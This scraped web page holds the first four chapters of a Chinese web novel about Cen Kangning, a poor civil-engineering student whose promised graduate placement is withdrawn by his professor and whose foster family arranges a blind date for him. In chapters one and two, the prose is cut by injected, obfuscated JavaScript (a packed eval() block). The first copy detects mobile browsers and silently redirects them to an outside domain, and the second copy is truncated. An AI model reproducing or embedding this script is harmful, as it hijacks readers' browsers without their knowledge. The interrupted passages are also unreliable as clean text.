《只是想要编制的关系》 1. 第 1 章 “老五,你的鸡蛋灌饼,加蛋加肠不要辣,还是热乎的尽快吃。” “好嘞小宁宁,一共七块是吧?” “七块五,老板涨价了。” Q大土院男生宿舍,316间。 手里拎着一宿舍下午饭刚刚才进门的岑康宁笑着,露出左侧脸颊浅浅的梨涡。 三月份的天气乍暖还寒。 冷空气还尚未彻底撤离。 室内外冷暖空气交错,使他素来白皙的脸颊上被迫泛起红晕。红晕映着梨涡,暖色的宿舍灯光下,清冷好看的面容更增添几分独特的味道。 “卧槽!怎么又涨价了?这年头什么都涨,就我的生活费不涨是吧。” 被唤做老五的舍友支付宝转完账后,看着岑康宁那张按理来说看了四年已经看到厌倦的脸,却还是先怔楞一秒,被惊艳了一番,然后才一边接过鸡蛋灌饼,一边欲盖弥彰地大声吐槽道。 这时又一个舍友放下手中的游戏插嘴:“谁说就你的生活费不涨的,这不还有我们土木人的工资在降低么?” “你你你……还让不让我吃鸡蛋灌饼了!” “哈哈。” 那舍友笑着,同样从岑康宁手中接过自己的晚饭——一份校南门外的鸡排烤肉双拼饭,搭配蜜雪冰城四块钱茉莉绿茶。 “么么么小宁宁,你竟然记得给我去沙拉酱,太贤惠了吧!” 他接过晚饭后看了一眼,立刻大声称赞。 岑康宁走到自己的位置上脱掉外套,又是一笑:“这有什么贤惠的?要是一起吃了四年我还不知道你不要沙拉酱,你就该怀疑我脑子有问题了。” “哼,谁说一起吃四年就该记得的,何明博那小子就不知道。” 舍友低头下意识地吐槽。 岑康宁没接话,哪怕何明博此刻并不在宿舍,甚至何明博跟自己的关系也并不算和睦。 但岑康宁不喜欢私下里说别人什么,尤其还是一个宿舍的舍友。 于是他放下外套后,径直拉开书包拉链,从塞得满满当当的书包里拿出属于第三位舍友的东西来,走到他身边。 “三哥,你的简历。” 他轻声道。 被唤做三哥的舍友从电脑前抬起头来,卸下耳机,看到岑康宁手中递来的文件袋,顿时露出千恩万谢的表情。 “我靠,老六你真给我打了啊,我还以为你没看见。” “看到了,只是当时在排队买鸡蛋灌饼,没顾得上回消息。” 岑康宁道。 “你看看打得对不对,A4双面彩印,黑体四号。” “对对。” 三哥已然打开文件袋,将其中一张简历抽了出来,一边看一边小鸡啄米般点头:“谢谢你啊宁宁,我待会儿有个线上笔试,今天实在是没时间。” “不用谢。” 岑康宁在三哥的肩膀上轻轻拍了下:“你好好准备笔试,没时间吃饭的话我那儿还有几包泡面。” “宁宁……” “打住打住,我去吃饭了。” 岑康宁没给三哥抒情的机会,哪怕这个寸头铁汉的眼眶中俨然已经开始氤氲着感动的目光,岑康宁还是果断转身,回到了自己的座位上,将三哥的感动及时扼杀在了摇篮里。 然而,岑康宁却不知道的是。 饶是他动作麻利,态度坚决。 在背对着三哥回到自己座位上这一短短的过程中,还是让三哥看着他挺拔瘦削的背影,见缝插针地感慨了一波—— 不愧是让土院之虎都看中的人。 还得是岑康宁啊! — 土院之虎是个代称。 指的是Q大土院一位以严厉高产著称的教授,刘同虎。 近些年来随着房地产与基建行业放缓,土木专业形式急转直下,科研界也受到颇多影响。 但刘同虎却在这一形势下逆流而上。 光是去年一年,就发了多篇论文,拿到数个项目。 也因此在土院,保研人的第一选择绝不是去外校,而是刘同虎的课题组。 当然,土院之虎可不是开玩笑的。 刘同虎对自己学生的要求极高。 发sci已经不算是什么特殊要求了,各类挑战赛拿奖也无关紧要,最重要的是,谁要来,谁就要先去刘组里打上个小半年白工。 名为熟悉环境。 实为考察。 只有能在这小半年里表现出色,让刘同虎非常欣赏的人(牛马),最终才能留在他的课题组里。 当然,这世上所有的规矩都有例外。 而土院之虎的例外,就是岑康宁。 获得保研名额后,岑康宁与绝大多数保研人一样,联系了刘同虎。 凭借着出色的成绩和履历。 岑康宁果然也获得了“留组查看”的好机会。 但出乎所有人意料的是,岑康宁竟然只在土院之虎的课题组里呆了一个月。 刘同虎就当着所有学生的面,钦定了岑康宁的师门资格。 这则消息传开以后。 在土院,乃至于整个Q大都引起了不小的轰动。 甚至因为岑康宁那张过分出挑的脸,还有一些欲说还休的桃色绯闻开始流传在贴吧和各大校园墙里。 唯独和岑康宁做了快整整四年舍友的三哥心里清楚—— 什么靠脸。 脸只是宁宁身上最不值一提的优点好不好! 当然,不得不说,岑康宁的脸确实好看。 三哥还清晰记得自己大一刚入学,第一次在316宿舍见到岑康宁时的场景。 他觉得自己恐怕这辈子都忘不了那一幕。 那天是个大晴天。 外头是毒辣到可以将人晒化的日光。 室内空调开得极低。 三哥排队领了军训服,和送他来上学的父母道过别后,在小超市里买了足足两大瓶冰红茶才上楼。 他以为宿舍不会有人,自顾自用钥匙开了锁。 谁知刚一推开门,眼前一道白光闪过,他顿时惊讶地睁大了瞳孔。 有人。 那人还正在换衣服。 等等,他皮肤怎么这么白,腰怎么这么细?跟个小姑娘似的,屁股好翘啊。 “你是……” “哦,你回来了?” 那个背对着门换衣服的男生已经手脚麻利,飞速地穿上了自己的T恤。 他扭头,笑着看向曹帅,然后友好伸出了自己的右手:“你好,岑康宁。我试试军训服的大小。” “曹帅,我在三床。” 三哥机械性地伸手回握住岑康宁的手,嘴巴还能说话,神智却已经彻底懵在了原地。 虽然宿舍空调一直开着。 但他却感到一阵口干舌燥,莫名地热。 原因无他,这位叫岑康宁的舍友长相实在是过于出众了。 曹帅活了十八年,自诩也见过不少帅哥,但从未见到过像岑康宁这样长相精致漂亮到像是明星一样的帅哥。 皮肤白皙如玉,连一丁点的瑕疵和毛孔都看不见。 五官小巧,精致。 眼睛的形状似乎是叫桃花眼,眼尾微微卷翘上扬;鼻子很小,却很挺拔,轮廓显得立体,鼻翼处有一颗非常小的小痣。 最让曹帅印象深刻的是他的嘴唇。 唇不厚也不薄,泛着玫瑰花瓣一般饱满又鲜艳的红色,让人一见就有亲吻的欲/望。 一瞬间曹帅觉得自己恋爱了,连二胎的名字他都想好了,随岑康宁姓。 可回过神来,他想到对方和自己一个宿舍,是个男人。 男人倒也不碍事。 随着近些年同性婚姻合法化的推行,男人娶男人成了社会上最不值一提的事情。 除了不能繁育后代,男人和女人在婚姻里没有更多的区别。 只是曹帅自诩钢铁直男,在那天与岑康宁的第一次见面里,却也难免很俗套地动摇了自己□□足足十八年的性向。 幸好,很快曹帅便收起了自己不该有的心思。 因为在接下来的日子里,由于岑康宁眼睛不瞎就一定看得出来优秀的长相,没多久,316宿舍就迎来了一波接着一波对岑康宁慕名而来的追求者。 这些追求者里有学霸帅哥,有185沉淀体育生,更是有保时捷敞篷小开,每一个拎出来条件都吊打曹帅一百倍,然而每一个都被岑康宁无情拒绝。 曹帅自此歇了心思,安心跟岑康宁保持舍友关系。 当然与岑康宁保持舍友关系没什么不好的,甚至可以说好的不能更好。 人们通常对长相漂亮好看的同类存在误解。 认为他们一定会因为自恃过高而倨傲,难以接近。 这一点在岑康宁的身上却完全没有任何体现。岑康宁,Q大校草级别的长相,却仍旧以善良的心地和天使一般的性格,在316宿舍成为人人交口称赞的top1受欢迎舍友。 帮忙打水,买饭,占座。 是岑康宁大学四年生涯中对舍友最不值一提的贡献。 共享笔记,带领小组作业,提供期末复习重点。 也仅仅只是占据倒数第二。 对曹帅来说,岑康宁堪称无私级别的贡献是——他竟然会冲自己笑唉! 想想看莫妮卡贝鲁奇天天对你笑是什么样的滋味。 曹帅的感受大致也就是如此了。 整整四年,他都氤氲在这种蛊惑人心的笑容里,过得非常之幸福。 当然,除了长相,性格以外,岑康宁的身上还有其他很出色的优点。 诸如他头脑聪明,不需要怎么努力就可以将自己成绩维持在年级前百分之五,顺利拿到保研名额这件事。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14824575|158790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又诸如他看似单薄的身体实则蕴含着极强大的力量。 上学期打灰实习时,可以单手拎起一袋水泥面不改色健步如飞这件事。 岑康宁的优点多到说不完。 总而言之,在曹帅眼里。 岑康宁就是一个完美的人类高质量男性。 刘同虎能够招他进自己课题组那简直是老刘家祖坟冒青烟的幸运,这件事上绝非是岑康宁占便宜。 而若是非要让曹帅在完美的宁宁身上找出一个缺点。 恐怕就只有一个字: 穷。 岑康宁实在是太穷了。 哪怕比起曹帅这个普通农村家庭出身的穷大学生,岑康宁也还是太穷了。 外人看不出来。 因为岑康宁的身上总是干净整洁,脸上挂着浅浅笑意。 作为舍友的曹帅却知道。 其实岑康宁身上那件短袖是拼多多买的,三件才25元。 还有那件牛仔裤,洗了又洗,从最早的深蓝色到现在的浅蓝色,曹帅见证了它每一个色泽的使用周期。 另外,贫穷使岑康宁不得不忙碌于各份兼职之中。 大学四年,岑康宁活得就像一个不知道停歇的陀螺,永远不停地旋转在学校和兼职之间。 外人很难想到。 看上去总是那样阳光活力的岑康宁,其实每一天都在如葛朗台一样精准计算着花销收入。 ——其实岑康宁大可以不用过这样的生活的。只要他愿意,凭着他的长相,轻松来钱快的工作,英俊多金的男女友都是唾手可得。 可要不怎么说宁宁完美呢? 他不乐意啊。 不幸中的万幸,这样的日子岑康宁眼看着就快要熬到头了。 等上了研究生,有国家的奖学金助学金还有课题组的劳务费,岑康宁会过上比本科时轻松不止一倍的生活。 想到这里,曹帅轻声叹了口气,恋恋不舍地收回自己的视线,将注意力重新转回到自己接下来的线上笔试上—— 还是先考虑考虑自己吧。 土木这两年专业暴雷,这都大四最后一个学期了他还没找到工作呢! — 曹帅却不知道,终于在忙碌了一大圈儿后落座自己座位的岑康宁,此刻便正在盘点自己本日的花销。 “早上没吃,0元。” “中午校食堂油泼臊子面配免费汤,6元。” “坐地铁来回去家教,4元。” “晚上杂粮煎饼果子加蛋加生菜7元……”在备忘录里记下自己今日最后一笔花销后,岑康宁垂着微微卷翘的眼睫,微不可闻地,轻轻松了口气。 他告诉自己。 再过半年就好了。 这样精打细算,为了偿还助学贷款每天只能将自己花销极致控制在20块的日子只要再过半年,就将彻底结束。 半年后,他会成为刘同虎课题组的一名研究生。 像所有的研究生一样,享受国家对研究生的奖学金及助学金补贴。 此外,导师每个月还会发放整整两千块的劳务费,足以让岑康宁这个极低物欲的人在学校里安稳生活,且不需要任何兼职补贴。 只要,再过半年。 岑康宁的眼底闪过一丝名为希冀的光芒。 很快,他轻松地咬了一口手中已经有些放凉的杂粮煎饼,打开了面前的电脑,将界面切换到Q大内部的保研系统中。 今天是保研系统最终确认的日子。 早在昨晚,岑康宁就给刘同虎发去了消息请他帮忙上系统确认自己的保研去向。 刘同虎一直没回复。 岑康宁没觉得有什么,因为刘同虎很忙,经常不回复各种消息。但据岑康宁观察,他只是不喜欢回消息,该做的事情却不会拖延。 因此岑康宁便下意识以为刘同虎可能已经在系统上同意过了,只是没告诉自己而已。 毕竟在上个学期,两人可谓是相谈甚欢。 刘同虎对他能够加入课题组表达出了相当足的诚意和欢迎,甚至大手一挥,当场同意他在加入课题组的第一年就成为课题组的实验室管理员(每个月额外六百补助津贴)。 这也使得岑康宁根本没考虑其他老师伸出的橄榄枝,果断在一众态度殷切的导师中,毫不犹豫选择了刘同虎。 可以说到目前为止,岑康宁对刘同虎的印象都相当不错。 除了某些高校科研圈子里固有的弊病以外,这位教授出手大方,无论对学生还是对自己都是同样地要求严格,手中的课题也在土木行业一潭死水的现状中相当具有前景。 直到此时此刻,岑康宁发现刘同虎到现在都没上线确认自己的保研去向。 咯噔—— 岑康宁听见自己心脏兀地跳了下。 一种不好的预感开始自上而下逐渐蔓延…… 2. 第 2 章 “嗡——” “嗡嗡——” 放在桌面上的手机不断震动,在弥漫着饭香,时不时冒出几声猴叫的316宿舍,并不显得突兀。 因此岑康宁没理。 直到这个用了整整三年的千元安卓机锲而不舍地开启了第三波嗡鸣,岑康宁闭上眼深呼一口气,拿起手机果断出了宿舍,带上耳机走到走廊尽头的阳台处接听。 “喂,娟姨,嗯是我,刚刚在图书馆。” “嗯嗯,好的好的。” “我知道,我会回去的。” “……好,行。” 啪嗒一声,电话被挂断,空旷寒冷的宿舍楼阳台,岑康宁面无表情,按灭了屏幕。 因为一通电话,本就糟糕透顶的心情更糟了。 岑康宁也没想到,所有不幸的事竟然会挤在今天一天发生。 当今早七点,他顶着凛冽寒风出门时,绝对想不到,短短一个白天,所有他规划好的人生都将会发生翻天覆地的变化。 首先自然是保研的问题。 他那么信任刘同虎,为了他拒绝了其他所有老师的邀约。 可刘同虎呢? 表面上看似对他满意到不能更满意,甚至大有一种立刻让他进组的势头。 然而仅仅只是过了一个周末。 两天后的今天,刘同虎并没有如约上线处理岑康宁的最终保研确认。 在看到保研系统中那个鲜红的未确认后,一瞬间岑康宁的心情如坠冰窟。 但当然,此时的岑康宁并没有完全觉得刘同虎会那么恶劣的在最后关头鸽了自己。 虽然这种情况在保研中很是常见。 可岑康宁对自己有信心,对刘同虎也有信心。 刘教授不应该,也不会。 是以短暂的失神后,岑康宁立刻联系了刘同虎,包括不限于发微信,打电话,并打算如果电话都打不通的话就直接上门堵人。 反正刘同虎的课题组也在北校区。 岑康宁走一趟并不麻烦。 然而,当第二个电话被挂断以后,刘同虎在微信上,给他发来了最终处决—— “抱歉,我这边名额已满。” 岑康宁:“……去你大爷的。” 最开始的时候为什么不说? 哪怕他提前两天再说呢! 愤怒的火焰轰地一下将岑康宁整个人烧着了,他气得手指颤抖,只恨不得给刘同虎这个老登上演一出真人上门快打。 然而,最后的最后,他也只是在微信里将人大骂了一通,然后删掉此人微信而已。 没有别的原因。 绝不是岑康宁担心被穿小鞋或者被警察带走。 主要原因是,此刻的岑康宁并没有过多的时间留给刘同虎。 他必须趁着保研系统还尚未完全关闭的这最后一段时间内,像所有被鸽的倒霉蛋一样,争分夺秒地寻找调剂。 虽然时间不多了。 但只要岑康宁愿意找,其实还是有不少机会。 于是他在骂完刘同虎以后,立马利用所有手段开始搜寻仍在接受学生的导师联系方式。 时间很紧。 岑康宁很急。 可涉及到将来研究生三年生涯,越急他越不能出错。 皇天不负苦心人,事实证明,岑康宁的条件还是相当优越的。当他联系了几个仍有名额的老师后,几位老师纷纷表示,他们可以接受岑康宁,只要岑康宁愿意。 然而…… 众所周知。 具有竞争力的老师,除非意外,否则一般都不会落到接受调剂的地步。 因此愿意接受岑康宁的几个老师情况分别是这样的: 普通一本副教授; 偏远211讲师; 二本。 “……” 并非歧视这些学校。 只是岑康宁承认,在看到笔记本里写下的这几所学校时,他那钢铁一般刚硬的内心,忽然就有了几分破碎的冲动。 怎么说呢。 虽然岑康宁和316的舍友经常一起吐槽母校。 食堂难吃,宿舍不安空调,教学楼老化……上大学了竟然还有晚自习这种逆天规定! 可饶是Q大有着各种各样的缺点。 它好歹也是个985啊。 而且还不是那种靠着扶持硬上的末流985,至少排名前十。 虽然近些年来,因为其王牌专业土木建筑的衰落,Q大声势一度比不过同市的某电科类顶级211。 然而真到高考录取的时候。 Q大分数线仍然遥遥领先其40分。 想当年,岑康宁也是足足考了670分省排前千被录进来的;如今上了四年大学,怎么就沦落到去一本甚至于二本读研的境地呢? 时间一分一秒流逝。 岑康宁看着保研系统里那鲜红的未确认,已经不似三个小时前那么紧张担忧。 最后的关头。 岑康宁事实上已经联络到隔壁省一个综合类211的老师。 然而,思量再三后,岑康宁还是决定放弃。 他关上了电脑,将保研这件事彻底从自己的人生中清除出去。 其实并没有过多生气的感受。 因为岑康宁本来就不是一个喜欢囿于过去的人。 他更喜欢向前看。所以在接到方才这通电话以前,岑康宁脑子里思考的并非如何神不知鬼不觉暴打刘同虎一顿,而是如何最快速度美化简历,参加春招的事情。 直到电话响起。 有如地狱的来信,将岑康宁兀地拽落。 — 电话那头的人,岑康宁叫她娟姨。 事实上这是不恰当的,因为自打六岁父母双亡以后,娟姨便事实上成为了岑康宁的养母。 都说养育之恩大于天。 照这个理来说,岑康宁叫娟姨一声妈并不为过。 毕竟六岁起就来到这个家的他还是太小了,对于亲生父母,记忆也已经在岁月的磋磨中逐渐变得模糊不清。 但岑康宁叫她娟姨。 并不仅仅是因为娟姨对岑康宁不像对自己亲生孩子一样好;而更是因为娟姨本身也不太愿意再多一个孩子。 “以后就叫我娟姨吧。” 第一次见面时。 李宝娟挺着大肚子,上下打量了岑康宁一眼,如是说。 这么一叫就是整整16年。 转眼。 岑康宁从当年的小豆丁,也长大成人,即将大学毕业。 李宝娟本来就没多喜欢岑康宁这个拖油瓶,长大后就更不用说了,巴不得岑康宁跟自己不要联系。 不过每到一些特殊的日子。 娟姨还是会联系岑康宁的。 这些特殊的日子分别是岑康宁发兼职工资的日子,以及她小儿子考完试需要岑康宁回家辅导的日子。 今天这通电话就属于第二种情况。 虽然三月份,黄小耀祖才刚刚开学。 但在开学的收心考试里,他已经用三科不过百的好成绩,成功让黄家门第生辉。 于是一通鸡飞狗跳的家庭暴动后。 岑康宁很快收到了娟姨的电话,要求他这周尽快找时间回家,辅导耀祖功课。 事情发展到这里。 岑康宁虽然心情不好,却也不会跌落谷底。 毕竟他早就习惯了。 让他跌落谷底的事实上是电话里提及的第二件事—— 相亲。 很早,早到娟姨第一次提起彩礼这回事的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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只有岑康宁自己知道,现在的他就像一根已经绷紧到极限的弓弦,任何人任何事只要稍微一用力—— “啪!” 他就会断掉。 还好没人用力。 还好还好,他要毕业了,还有找工作这条退路。 — 回到宿舍后,岑康宁意外地发现宿舍里很热闹。 “宁宁,你回来了啊,快看这是什么!” “什么?” 岑康宁顶着一张被冷风吹得惨白的小脸,状若无事地勾起一个浅淡的笑意。 “明博带回来的小蛋糕,不容易啊不容易,四年了,这小子终于良心发现,知道给我们带东西了。” “哦?蛋糕么?” 岑康宁下意识看了眼自己的桌面。 果然,杂乱的桌子上多了一个小巧的包装盒,看盒子应该是南门口那家面包店。 虽然均价不贵。 但对何明博来说,这种行为确实也是罕见。 毕竟何明博大学四年间一直跟其他人关系处得非常紧张,别说带蛋糕这种事情,就算只是随手帮忙占个座位,何明博也会当做没听见。 岑康宁也并不喜欢何明博。 倒不是因为何明博不给自己占座打水,而是他觉得,何明博总是对他有种莫名其妙的敌意。 每次岑康宁无论说什么。 何明博都会用阴阳怪气地反驳回去。 久而久之岑康宁就不乐意跟他说话了,没人愿意给自己找不痛快。不过他跟何明博倒也没有什么大矛盾,所以何明博愿意送他蛋糕,他还是相当感谢的。 只是…… “康宁也回来了啊。” 在抬眼看到岑康宁后,何明博一反常态热情地走向岑康宁,用手臂勾住岑康宁的肩膀,笑着说: “告诉大家一个好消息,虎哥愿意收我了,以后我跟康宁就是同门了!” 3. 第 3 章 “卧槽?真的假的?” “恭喜恭喜!咱宿舍也是出了两个人才!牛B!” “真行啊你,那以后你们俩就可以互相照应了。” 对何明博的恭维在狭小的宿舍此起彼伏响起。 虽然大家跟何明博的关系都不好,但毕竟吃人嘴短,拿了何明博的小蛋糕,男孩们并不吝啬于在嘴上恭维何明博几句。 不过,也有人好奇,问: “你不是要去海王那边儿吗?” 闻言何明博冷静地扶了扶眼镜,轻描淡写道:“我爸还是觉得王教授那边儿不太适合我,就跟刘教授打了招呼。” “哦——原来如此。” 问话的曹帅大口咬住蛋糕,满不在乎扔掉包装盒,并没有刨根问底。 但其实,也不需要刨根问底。 316有谁不知道何明博的爸爸是谁呢? 隔壁马院的副院长,教授,知名期刊审稿人。 每一个头衔拿出来,都是普通人难以望其项背的存在,而这些也是何明博刚一到宿舍所有人就知道的事实。 所以何必刨根问底呢。 这不是自取其辱么? 宿舍安静了下来,很快只剩下手指敲击键盘,还有口腔咀嚼蛋糕的声音。 万籁俱寂中。 何明博笑着,又拍了拍岑康宁的肩膀,说: “以后多多指教,康宁。” 岑康宁看了何明博一眼,脸上的笑意半点儿没散,仿佛他是真的想要跟何明博成为研究生三年至交一样,唯独只是那眼底深处结出的寒霜,丝丝缕缕,暴露了此刻岑康宁最真实的情绪。 “好啊,多多指教。” 他垂着眸,不动声色甩开何明博的胳膊后,用只有两人可以听到的声音轻声道。 — 三天后。 岑康宁下了地铁,又倒公交。 从人满为患的公交站下来以后,他没有急着回家,而是不紧不慢走到路口一家里脊肉夹馍门口,用熟稔的语气对老板道: “一份里脊肉夹馍,加肉,多辣,不要生菜。” “好嘞!” 买完夹馍,岑康宁一边吃,一边接通了电话。 “喂你好,请问是Q大土木学院的岑康宁同学吗?” “是我。” 岑康宁道。 “我是校长信箱,这边儿是想跟你调查一下有关你举报土院刘同虎教授套用经费偷税漏税以及违反师德的事情。” 岑康宁:“不是我举报的。” 对方:“怎么会呢?同学你不用害怕,我们都知道……” “知道什么?知道我被刘教授坑了所以心怀怨恨?既然你们都知道我被刘教授坑了,怎么不先帮我解决问题呢?” “这个……” “不是我举报的,挂了。” 嘟嘟嘟—— 岑康宁挂断电话,心情不错地咬了一大口手中的里脊肉,与此同时,打开某学生论坛,给刘同虎打下匿名负分: 避雷! 此人鸽子精。 眼睁睁看着刘同虎的平均分数因为这个负分又下降不少的岑康宁,唇角弧度愈加上扬。 是的,他说谎了。 刘同虎的确是他举报的。 在放弃保研以后的第二天,他就以多种渠道不实名举报了刘同虎,包括但不限于校长邮箱,教育部官网,贴吧校园墙。 虽然岑康宁知道,这些举报对一个985教授来说等同于蚍蜉撼树,风头一过,对方照样逍遥自在。 可至少能给刘同虎添点堵,找点不自在。 总不能他把自己鸽了,然后什么都不付出吧? 岑康宁自诩脾气好,在过往的二十二年生命中也一向秉持着人不犯我我不犯人的原则。 可脾气好不是受欺负的理由。 人若犯我,我必犯人更是保护自己的最佳方式。 再说了,总得让岑康宁出口气,男人也是会得乳腺结节的。 乳腺通畅的岑康宁脚步轻快,很快,将吃完的垃圾袋一扔,走进了小区。 小区还是老样子,入口狭小,逼仄,一进门就是几个大垃圾桶。垃圾桶的周围,几个老人在不断地在桶里翻找着什么,酸腐的气息随之弥漫出来。 岑康宁像以往一样,没什么表情塞给老人一个矿泉水瓶,然后加快脚步往前走。一直走到尽头处左拐,上楼,爬到五楼才堪堪停下。 眼前这间贴着已经有些脱落的大红色对联的房子,就是岑康宁住了十六年的地方。 岁月的痕迹不可避免留在这道门上。 岑康宁还记得他第一次站在这道门口的时候,看着眼前这堵崭新的红色防盗门时紧张又局促的心情。 然而十六年一晃而过。 防盗门生锈了,原本干净的墙壁上贴满了各式小广告。 他看着门上最新张贴的物业费提醒条,抿着唇,想了想还是直接用钥匙开了门。 — “娟姨,我回来了。” 开门后换了鞋,直接映入眼帘的就是一张小饭桌,此刻饭桌上已经摆了好几道菜,房间里满是饭菜油烟。 让岑康宁惊讶的是,今天竟然有肉,还有两道。 辣椒炒肉和土豆炖鸡块。 什么情况? 他回来的日子,家里不是一向不做肉吗? 早知道这样,岑康宁就不买那个里脊肉夹馍了。正这样后悔着,一道熟悉的笑声从开着吸油烟机的厨房里钻了出来。 “哈哈,我都跟你说了,那家的鸡腿就是便宜。” 岑康宁了然了。 原来是小姨今天过来,难怪今天堪比过年。 很快李宝琴从厨房里端出最后一道菜,发现了饭桌前的岑康宁,浑浊的眼里顿时迸发出前所未有的光芒: “呦,小宁回来了啊。” “琴姨。” 岑康宁乖巧地道。 李宝琴脸上笑容更甚,眼尾笑出皱纹来:“瞧这孩子,真是一年长得比一年水灵了。今年该上大学了吧,快让琴姨好好看看。” 砰—— 李宝娟也从厨房里走出来,大声地关上厨房门。 “都大学毕业了,你可真会关心。” 李宝娟道。 李宝琴被怼了,却完全不觉得生气,甚至更高兴几分:“毕业好啊,毕业就能结婚了,多少孩子想结婚还不够年龄呢。” 岑康宁:“……” 李宝娟淡淡扫了一眼岑康宁,安排道:“你小姨今天来给你介绍对象,先把东西放下吧,咱边吃边说。” “好。” 唉,岑康宁知道今天是无论如何逃不过了,只能木着脸转身离开。 岑康宁走后。 饭桌上李家姐妹俩立刻开始了拌嘴。 “这么好的条件为啥不给晓媛介绍?非要给他,胳膊肘往外拐是不 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那是一个仅仅只有九平米的小卧室,小小的房间里不可思议堆积着无数杂物与一张上下床,乍一看上去几乎让人找不到任何优点,唯一的优点可能就是老小区,墙壁和门都够厚实,隔音还不错。 听不到李家姐妹俩盘算的岑康宁顿时松了口气。 房间里自然是有人的,岑康宁上前,轻车熟路夺走了书桌上看似正埋头苦学,实际上正玩游戏的小胖墩儿手里的手机。 “还玩,吃饭了。” “等等等等……我打团呢!” 小胖墩瞬间急了,下意识伸手去抢岑康宁手中的手机,可惜扑了个空。 岑康宁看了眼手机屏幕:“猴子,0-5?这还有打团的必要吗?” 黄光远半点儿不觉得羞愧,理直气壮道:“都怪后羿,我死了一次就接管野区了,所以我才没发育起来!” 岑康宁:“……” “写你的作业去,这回数学竟然敢给我考23分。”岑康宁火上心头,想到自己回家的目的,气得磨了磨后槽牙,说:“罚你一个月不许玩游戏。” “卧槽,不要啊宁哥!” 狭小的房间里黄光远的哀嚎声响彻寰宇,被厚实的墙壁与实木门完全隔绝。 岑康宁充耳不闻,低头轻车熟路,将黄光远的王者账号登出—— 没了他的身份认证账号。 黄光远确实玩不了游戏。 “不行,不行!宁哥你不能这么对我,我还差一点儿就能星耀了,我跟我同学约好了一起王者的!” 岑康宁把没了王者账号的手机扔给他,自顾自挪开二层小床上堆积地像小山一样的衣服,课本,考试卷,将书包放了上去。 正眯着眼给自己外套找一个干净点儿地方的时候。 黄光远又喊:“哼!反正你也管不了我多久了,到时候等你搬走,我天天玩电脑,气死你——” “什么?” 岑康宁闻言半挑眉尾,漂亮的脸蛋在白炽灯下愈发显得艳丽。 “谁跟你说我要搬走的?” 他问。 “我妈啊,她说你就要结婚了,结婚以后就给我换成上床下桌,安个电脑。” “哦。” 岑康宁不咸不淡应了声,而后他转身,又是一把夺过黄光远的手机,轻描淡写道: “既然如此那吃鸡也别留了,以后你慢慢玩电脑吧。” 4. 第 4 章 李宝娟推门进来的时候黄光远正躺在地上尖叫打滚,小胖墩儿吃的脑满肠肥,毫无形象瘫在地上,露出白白胖胖的肚皮。 李宝娟吃了一惊:“这是怎么了?” “没怎么,想打游戏。” 岑康宁道。 李宝娟的脸色顿时黑了几分,上去就是一巴掌拍在黄光远的肚子上:“还玩,数学考32分了还玩!” 黄光远:“啊,疼,妈!疼!” 李宝娟便又心疼了,把儿子拉起来,说:“知道疼就赶紧起来,吃饭呢,今天有鸡腿。” “什么?有鸡腿你怎么不早说啊?” 黄光远嗔怪地看了李宝娟一眼,也不嚷嚷了,脚步飞快往饭桌的方向赶。 只是赶到一半又恨上心头,于是冲岑康宁使了个鬼脸,告状道:“妈,岑康宁又骂我笨了。” 岑康宁见怪不怪:“你本来就笨。” 李宝娟面色不好看,但没说岑康宁什么,只瞪了黄光远一眼:“赶紧吃饭去。” — 饭菜已经全部上桌。 小小的饭桌上围了四个成年人,一个比成年人还壮的未成年人。 开饭以后,李宝娟不停地教育黄光远:“多吃菜,营养均衡。”然而夹给黄光远的每一筷子都是饭桌上为数不多的肉类。 这一幕映在饭桌上所有人眼里。 不必岑康宁多说,有人已经不乐意了。 “干脆把肉全拨你儿子碗里得了!装什么装?”黄晓媛生气道。 李宝娟却情绪稳定,淡淡看自己二女儿一眼:“他还发育呢,你跟他争什么?再说了,你也不看看自己多胖,还吃,再吃找不到男朋友了。” 黄晓媛气得嘴唇颤抖:“拜托,你有没有文化,吃肉才不会胖好不好?” 下一秒。 啪—— 李宝娟将一块儿鸡肉夹给黄晓媛。 “够了吧?” “…………” 饭桌上气氛不对,岑康宁习以为常,自顾自就着青菜吃米饭。李宝琴却悄悄看了眼表情平静的岑康宁,开口说了话。 “小宁啊,姨发给你的微信看了吗?” 岑康宁夹菜的手指一顿,“看了。” 李宝琴激动起来:“看了怎么不给我回消息啊你这孩子,怎么样,姨可不是坑你,对方的条件是真的好!” “确实好,所以你赶紧抓住这次机会。”李宝娟这时也从方才的话题中脱离出来,插嘴道。 岑康宁轻笑了笑:“好是好,不过……” “什么条件什么条件?” 黄晓媛没由来激动起来,眼神暧昧地看了眼岑康宁,说:“哦,有人要恋爱了是不是?” 岑康宁没说话。 李宝娟瞪了黄晓媛一眼:“什么恋爱,你以为都跟你一样无聊。谈那么多男朋友,一个靠谱的都没有。” “不是恋爱是什么?结婚啊?” “那当然了。” 黄晓媛下意识睁大了瞳孔:“啊?这么快?” “哪里快了?一点儿都不快,好男人都是要靠抢的我告诉你晓媛。要不是你阿姨我这次眼疾手快,这好男人还轮不上小宁呢。”李宝琴可算找到了机会,得意洋洋地邀功道。 黄晓媛却撇撇嘴巴:“你能找到什么好男人?” 李宝琴立刻瞪大了眼:“怎么不好了,一米八的大高个,相貌堂堂,国外留学的博士,还是大学教授,哪里不好了!” “噗——” 一个没忍住,岑康宁笑出了声来。 岑康宁其实不想笑的,但没办法,上回李宝琴给自己介绍的对象也报了一米八,结果本人一米六几。 这回的条件里又掺了多少水分呢? 岑康宁百无聊赖地想,他要求不高,能超过一米七就算胜利。 李宝琴却显然误以为岑康宁的笑容是对相亲对象条件非常满意的意思,脸上的得意更甚几分。 “小宁也觉得不错吧?” 李宝琴沾沾自喜说:“听说还是名校的教授,是什么皮……皮大。” “P大?” 黄晓媛试探。 李宝琴眼睛放光:“对,就是P大!还是你们小年轻懂得多。” 黄晓媛:“……他要是真是P大教授我赶明儿跟你姓。” 